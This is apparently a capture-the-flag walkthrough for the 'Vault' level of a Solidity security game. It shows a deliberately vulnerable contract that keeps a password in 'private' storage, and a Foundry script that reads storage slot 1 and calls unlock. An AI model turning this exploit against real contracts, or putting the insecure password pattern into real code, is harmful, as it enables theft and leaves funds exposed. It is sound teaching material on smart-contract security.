Level 8 - Vault ⏺⏺
Level Setup
Level Contract
Exploit
Completion Message
Notes
Last updated
Last updated
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}make anvil-exploit-level-8
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>make holesky-exploit-level-8
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
interface IVault {
function unlock(bytes32 _password) external;
}
// ================================================================
// │ LEVEL 8 - VAULT │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
IVault targetContract = IVault(targetContractAddress);
bytes32 password = vm.load(targetContractAddress, bytes32(uint256(1)));
console.log("Password: %s", bytesToString(password));
vm.startBroadcast();
targetContract.unlock(password);
vm.stopBroadcast();
}
}